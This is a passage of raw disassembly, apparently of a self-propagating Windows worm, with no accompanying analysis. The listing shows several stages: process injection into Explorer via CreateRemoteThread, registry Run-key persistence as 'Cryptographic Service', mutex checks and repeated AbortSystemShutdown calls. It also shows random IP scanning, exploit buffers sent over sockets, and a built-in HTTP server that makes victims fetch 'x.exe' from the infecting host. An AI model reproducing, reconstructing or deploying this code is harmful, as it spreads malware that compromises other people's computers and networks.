ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A0h push offset dword_31424868 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp [ebp+arg_0], 0 jz loc_31421CE7 push 68h lea eax, [ebp+var_89E4] push offset dword_31424A20 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31422CE2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31424A8C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31422CE2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31424B00 push eax call sub_31422CE2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31421D3F ; --------------------------------------------------------------------------- loc_31421BF7: ; CODE XREF: sub_31421801+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31422CD6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31424C70 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy add esp, 40h push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31421C93: ; CODE XREF: sub_31421801+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31421C93 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31422CD6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31422CD6 ; memset add esp, 18h jmp loc_31421A98 ; --------------------------------------------------------------------------- loc_31421CE7: ; CODE XREF: sub_31421801+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_3142490C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31422CE2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_3142498C push eax call sub_31422CE2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31421D3F: ; CODE XREF: sub_31421801+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31421D4C: ; CODE XREF: sub_31421801+1ADj ; sub_31421801+1E1j ... push 2 push [ebp+var_4] call dword_31421170 ; shutdown loc_31421D57: ; CODE XREF: sub_31421801+166j push [ebp+var_4] call dword_31421174 ; closesocket pop esi loc_31421D61: ; CODE XREF: sub_31421801+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31421801 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421D68 proc near ; CODE XREF: UPX0:loc_31422376p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314210A8 ; LoadLibraryA mov esi, dword_314210A4 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31421DEC push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31421DEC push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31421DEC lea eax, [ebp+var_C] push eax push 20h call dword_314210A0 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31421DEC: ; CODE XREF: sub_31421D68+28j ; sub_31421D68+37j ... pop edi pop esi leave retn sub_31421D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421DF0 proc near ; CODE XREF: UPX0:3142238Ap var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31425000 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314210B4 ; GetModuleHandleA mov esi, dword_314210A4 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31421E37 loc_31421E33: ; CODE XREF: sub_31421DF0+54j push 1 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E37: ; CODE XREF: sub_31421DF0+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31421E33 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31421110 ; FindWindowA test eax, eax jnz short loc_31421E65 call dword_31421114 ; GetForegroundWindow test eax, eax jnz short loc_31421E65 push 2 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E65: ; CODE XREF: sub_31421DF0+65j ; sub_31421DF0+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31421118 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314210B0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31421E8B push 3 loc_31421E88: ; CODE XREF: sub_31421DF0+45j ; sub_31421DF0+73j pop eax jmp short loc_31421EF6 ; --------------------------------------------------------------------------- loc_31421E8B: ; CODE XREF: sub_31421DF0+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3142107C test eax, eax jz short loc_31421EE9 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314210AC ; WriteProcessMemory push dword_31424FF4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31421ED5 push eax call esi ; CloseHandle jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421ED5: ; CODE XREF: sub_31421DF0+DEj push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov [ebp+var_4], 5 jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421EE9: ; CODE XREF: sub_31421DF0+B2j mov [ebp+var_4], 4 loc_31421EF0: ; CODE XREF: sub_31421DF0+E3j ; sub_31421DF0+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31421EF6: ; CODE XREF: sub_31421DF0+99j pop edi pop esi pop ebx leave retn sub_31421DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421EFB proc near ; CODE XREF: sub_314221C4+Bp ; UPX0:3142234Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314210B8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314210EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31421EFB endp ; =============== S U B R O U T I N E ======================================= sub_31421F29 proc near ; CODE XREF: sub_31421DF0+EAp ; UPX0:31422356p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314210BC ; CreateMutexA retn sub_31421F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F38 proc near ; CODE XREF: sub_314223B2+155p ; sub_314223B2+160p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread pop ebp retn sub_31421F38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F52 proc near ; CODE XREF: sub_314221C4+12Cp ; sub_314225C3+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread push eax call dword_3142107C ; CloseHandle pop ebp retn sub_31421F52 endp ; =============== S U B R O U T I N E ======================================= sub_31421F73 proc near ; CODE XREF: sub_314211A0+68p ; sub_31422A9B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31421F9B loc_31421F84: ; CODE XREF: sub_31421F73+26j call dword_314210FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31421F84 loc_31421F9B: ; CODE XREF: sub_31421F73+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31421F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FA3 proc near ; CODE XREF: sub_314211A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31422CD6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314210C4 ; CreateProcessA push [ebp+var_C] mov esi, dword_3142107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31421FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FF9 proc near ; CODE XREF: sub_3142264B+3Ep ; sub_31422712+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3142114C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_3142201A call dword_31421150 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_3142201A: ; CODE XREF: sub_31421FF9+15j lea eax, [ebp+var_34] push eax call dword_31421154 ; gethostbyname test eax, eax jnz short loc_3142202F mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_3142202F: ; CODE XREF: sub_31421FF9+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31421FF9 endp ; =============== S U B R O U T I N E ======================================= sub_31422038 proc near ; CODE XREF: sub_314216A2+12p ; sub_3142255F+22p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31421130 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31422038 endp ; =============== S U B R O U T I N E ======================================= sub_3142204E proc near ; CODE XREF: sub_314223B2+E6p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314210CC ; OpenEventA test eax, eax jz short locret_31422067 push eax call dword_314210C8 ; SetEvent locret_31422067: ; CODE XREF: sub_3142204E+10j retn sub_3142204E endp ; =============== S U B R O U T I N E ======================================= sub_31422068 proc near ; CODE XREF: sub_314216A2+68p push esi mov esi, dword_314210FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31422068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142207E proc near ; DATA XREF: sub_314221C4+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jnz short loc_314220AF push 1 jmp loc_3142216A ; --------------------------------------------------------------------------- loc_314220AF: ; CODE XREF: sub_3142207E+28j mov esi, dword_31421104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A lea eax, [ebp+var_100] push offset dword_314241F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A mov esi, dword_31421168 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31424FF0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3142111C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31422CDC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_3142212C: ; CODE XREF: sub_3142207E+E8j mov eax, dword_31424FF0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_3142213E mov eax, ecx loc_3142213E: ; CODE XREF: sub_3142207E+BCj test eax, eax jz short loc_3142216D push 0 push eax mov eax, dword_31424FE8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31422168 cmp eax, 1000h jb short loc_3142216D push 64h add edi, eax call dword_31421094 ; Sleep jmp short loc_3142212C ; --------------------------------------------------------------------------- loc_31422168: ; CODE XREF: sub_3142207E+D5j push 2 loc_3142216A: ; CODE XREF: sub_3142207E+2Cj pop eax jmp short loc_314221BD ; --------------------------------------------------------------------------- loc_3142216D: ; CODE XREF: sub_3142207E+C2j ; sub_3142207E+DCj push offset dword_31424FEC call dword_314210D4 ; InterlockedIncrement jmp short loc_31422198 ; --------------------------------------------------------------------------- loc_3142217A: ; CODE XREF: sub_3142207E+49j ; sub_3142207E+61j mov esi, dword_31421168 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31424D38 push ebx call esi ; send loc_31422198: ; CODE XREF: sub_3142207E+FAj push 7D0h call dword_31421094 ; Sleep push 2 push ebx call dword_31421170 ; shutdown push ebx call dword_31421174 ; closesocket push 0 call dword_314210D0 ; ExitThread xor eax, eax loc_314221BD: ; CODE XREF: sub_3142207E+EDj pop edi pop esi pop ebx leave retn 4 sub_3142207E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314221C4 proc near ; DATA XREF: sub_314223B2+150o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31421EFB lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31424FEC, ebx call sub_31422882 add esp, 14h test eax, eax jnz loc_314222F9 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31421080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31422230 push 1 call dword_314210D0 ; ExitThread loc_31422230: ; CODE XREF: sub_314221C4+62j push ebx push esi call dword_314210DC ; GetFileSize push eax mov dword_31424FF0, eax call sub_31422CA5 pop ecx mov dword_31424FE8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31424FF0 push eax push esi call dword_314210D8 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31424FF0, eax call dword_3142107C ; CloseHandle push ebx push 1 push 2 call dword_31421158 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31422CD6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31422292: ; CODE XREF: sub_314221C4+E5j ; sub_314221C4+EDj ... call dword_314210FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31424FFC, eax jz short loc_31422292 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31422292 push eax call dword_31421160 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31421140 ; bind test eax, eax jnz short loc_31422292 push 64h push edi call dword_31421144 ; listen mov [ebp+var_8], esi pop esi loc_314222DB: ; CODE XREF: sub_314221C4+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31421148 ; accept push eax push offset sub_3142207E call sub_31421F52 pop ecx pop ecx jmp short loc_314222DB ; --------------------------------------------------------------------------- loc_314222F9: ; CODE XREF: sub_314221C4+3Dj push ebx call dword_314210D0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_314221C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422308 proc near ; CODE XREF: sub_314223B2:loc_314224FCp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3142113C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31422308 endp ; --------------------------------------------------------------------------- loc_31422334: ; CODE XREF: UPX1:31427D08j push 0 call dword_314210B4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31425000, eax call dword_31421074 ; DeleteFileA call sub_31421EFB push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax call dword_314210E4 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31422376 push 1 call dword_314210E0 ; ExitProcess loc_31422376: ; CODE XREF: UPX0:3142236Cj call sub_31421D68 call sub_314229E6 call sub_31422B67 push offset sub_314223B2 call sub_31421DF0 test eax, eax pop ecx jz short loc_3142239B push 0 call sub_314223B2 loc_3142239B: ; CODE XREF: UPX0:31422392j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_3142239E proc near ; CODE XREF: sub_314223B2:loc_31422525p ; sub_3142255F:loc_31422578p ... push 0 push dword_31424FF8 call dword_31421070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_3142239E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314223B2 proc near ; CODE XREF: UPX0:31422396p ; DATA XREF: UPX0:31422385o var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421190 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push esi push edi mov [ebp+var_70], offset aU10x ; "u10x" mov [ebp+var_6C], offset aU11x ; "u11x" mov [ebp+var_68], offset aU12x ; "u12x" mov [ebp+var_64], offset aU13x ; "u13x" mov [ebp+var_60], offset aU14x ; "u14x" mov [ebp+var_5C], offset aU15x ; "u15x" mov [ebp+var_58], offset aU16x ; "u16x" mov [ebp+var_54], offset aU17x ; "u17x" mov [ebp+var_50], offset aU18x ; "u18x" mov [ebp+var_4C], offset aU8 ; "u8" mov [ebp+var_48], offset aU9 ; "u9" mov [ebp+var_44], offset aU10 ; "u10" mov [ebp+var_40], offset aU11 ; "u11" mov [ebp+var_3C], offset aU12 ; "u12" mov [ebp+var_38], offset aU13 ; "u13" mov [ebp+var_34], offset aU13i ; "u13i" mov [ebp+var_30], offset aU14 ; "u14" mov [ebp+var_2C], offset aU15 ; "u15" mov [ebp+var_28], offset aU16 ; "u16" mov [ebp+var_24], offset aU17 ; "u17" mov [ebp+var_20], offset aU18 ; "u18" mov [ebp+var_1C], offset aU19 ; "u19" push offset aU19x ; "u19x" xor edi, edi push edi push 1 push edi call dword_3142106C ; CreateEventA mov dword_31424FF8, eax mov [ebp+var_4], edi mov [ebp+var_74], edi loc_3142248B: ; CODE XREF: sub_314223B2+EFj cmp [ebp+var_74], 9 jnb short loc_314224A3 mov eax, [ebp+var_74] push [ebp+eax*4+var_70] call sub_3142204E pop ecx inc [ebp+var_74] jmp short loc_3142248B ; --------------------------------------------------------------------------- loc_314224A3: ; CODE XREF: sub_314223B2+DDj mov [ebp+var_74], edi loc_314224A6: ; CODE XREF: sub_314223B2+10Aj cmp [ebp+var_74], 0Dh jnb short loc_314224BE mov eax, [ebp+var_74] push [ebp+eax*4+var_4C] call sub_31421F29 pop ecx inc [ebp+var_74] jmp short loc_314224A6 ; --------------------------------------------------------------------------- loc_314224BE: ; CODE XREF: sub_314223B2+F8j cmp [ebp+arg_0], edi jz short loc_314224FC push offset aWs2_32 ; "ws2_32" mov esi, dword_314210A8 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax loc_314224FC: ; CODE XREF: sub_314223B2+10Fj call sub_31422308 push edi push offset sub_314221C4 call sub_31421F38 push edi push offset sub_314216A2 call sub_31421F38 push edi push offset loc_3142276E call sub_31421F38 add esp, 18h loc_31422525: ; CODE XREF: sub_314223B2+18Ej call sub_3142239E test eax, eax jnz short loc_31422542 push edi call dword_31421018 ; AbortSystemShutdownA push 1388h call dword_31421094 ; Sleep jmp short loc_31422525 ; --------------------------------------------------------------------------- loc_31422542: ; CODE XREF: sub_314223B2+17Aj or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_314223B2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142255F proc near ; DATA XREF: sub_314225C3+55o ; sub_3142264B+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3142256E push 1 pop eax jmp short locret_314225BF ; --------------------------------------------------------------------------- loc_3142256E: ; CODE XREF: sub_3142255F+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_31422578: ; CODE XREF: sub_3142255F+5Aj call sub_3142239E test eax, eax jnz short loc_314225BB call sub_31422038 test eax, eax jz short loc_314225BB cmp [ebp+var_1], bl jz short loc_314225B4 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31421801 movzx esi, word_3142500C pop ecx call dword_314210FC ; rand cdq idiv esi add edx, esi push edx call dword_31421094 ; Sleep loc_314225B4: ; CODE XREF: sub_3142255F+2Ej inc bl cmp bl, 0FFh jb short loc_31422578 loc_314225BB: ; CODE XREF: sub_3142255F+20j ; sub_3142255F+29j pop esi xor eax, eax pop ebx locret_314225BF: ; CODE XREF: sub_3142255F+Dj leave retn 4 sub_3142255F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314225C3 proc near ; DATA XREF: sub_3142264B+7Eo ; UPX0:31422803o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_314225D1 push 1 pop eax jmp short loc_31422647 ; --------------------------------------------------------------------------- loc_314225D1: ; CODE XREF: sub_314225C3+7j push ebx push esi push edi call sub_31421EFB mov esi, dword_314210FC xor ebx, ebx loc_314225E1: ; CODE XREF: sub_314225C3+7Dj call sub_3142239E test eax, eax jnz short loc_31422642 call sub_31422038 test eax, eax jz short loc_31422642 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31425004 mov byte ptr [ebp+arg_0+3], al call dword_314210D4 ; InterlockedIncrement push [ebp+arg_0] call sub_31421801 test eax, eax pop ecx jnz short loc_31422624 push [ebp+arg_0] push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_31422624: ; CODE XREF: sub_314225C3+50j movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call dword_31421094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_314225E1 loc_31422642: ; CODE XREF: sub_314225C3+25j ; sub_314225C3+2Ej pop edi pop esi xor eax, eax pop ebx loc_31422647: ; CODE XREF: sub_314225C3+Cj pop ebp retn 4 sub_314225C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142264B proc near ; DATA XREF: UPX0:3142281Bo var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31421EFB call sub_3142239E test eax, eax jnz loc_31422704 push ebx mov ebx, dword_31421094 push esi mov esi, dword_314210FC push edi loc_31422671: ; CODE XREF: sub_3142264B+48j ; sub_3142264B+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31422680: ; CODE XREF: sub_3142264B+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31422680 call sub_31421FF9 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31422671 call sub_31422038 test eax, eax jz short loc_314226DC push offset dword_31425004 call dword_314210D4 ; InterlockedIncrement push edi call sub_31421801 test eax, eax pop ecx jnz short loc_314226E3 push edi push offset sub_3142255F call sub_31421F52 pop ecx mov [ebp+var_8], 4 pop ecx loc_314226C8: ; CODE XREF: sub_3142264B+8Dj push edi push offset sub_314225C3 call sub_31421F52 dec [ebp+var_8] pop ecx pop ecx jnz short loc_314226C8 jmp short loc_314226E3 ; --------------------------------------------------------------------------- loc_314226DC: ; CODE XREF: sub_3142264B+51j push 2710h call ebx ; Sleep loc_314226E3: ; CODE XREF: sub_3142264B+67j ; sub_3142264B+8Fj movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_3142239E test eax, eax jz loc_31422671 pop edi pop esi pop ebx loc_31422704: ; CODE XREF: sub_3142264B+11j push 0 call dword_314210D0 ; ExitThread xor eax, eax leave retn 4 sub_3142264B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422712 proc near ; CODE XREF: UPX0:314227E0p ; UPX0:loc_31422846p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_31421FF9 push eax call dword_3142115C ; inet_ntoa mov esi, dword_31421068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push dword_31424FFC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3142111C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314242BA call esi ; lstrcpyA push offset byte_314242B8 call dword_31421084 ; lstrlenA mov byte_314242B8[eax], 0DFh pop esi leave retn sub_31422712 endp ; --------------------------------------------------------------------------- loc_3142276E: ; DATA XREF: sub_314223B2+166o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31425004, ebx call sub_31422038 mov esi, dword_31421094 mov edi, 1388h test eax, eax jnz short loc_3142279C loc_31422790: ; CODE XREF: UPX0:3142279Aj push edi call esi ; Sleep call sub_31422038 test eax, eax jz short loc_31422790 loc_3142279C: ; CODE XREF: UPX0:3142278Ej lea eax, [esp+14h] push ebx push eax call dword_31421130 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31425008, ebx pop ebp mov word_3142500C, 96h jz short loc_314227D9 mov dword_31425008, 1 mov ebp, 15Eh mov word_3142500C, 14h loc_314227D9: ; CODE XREF: 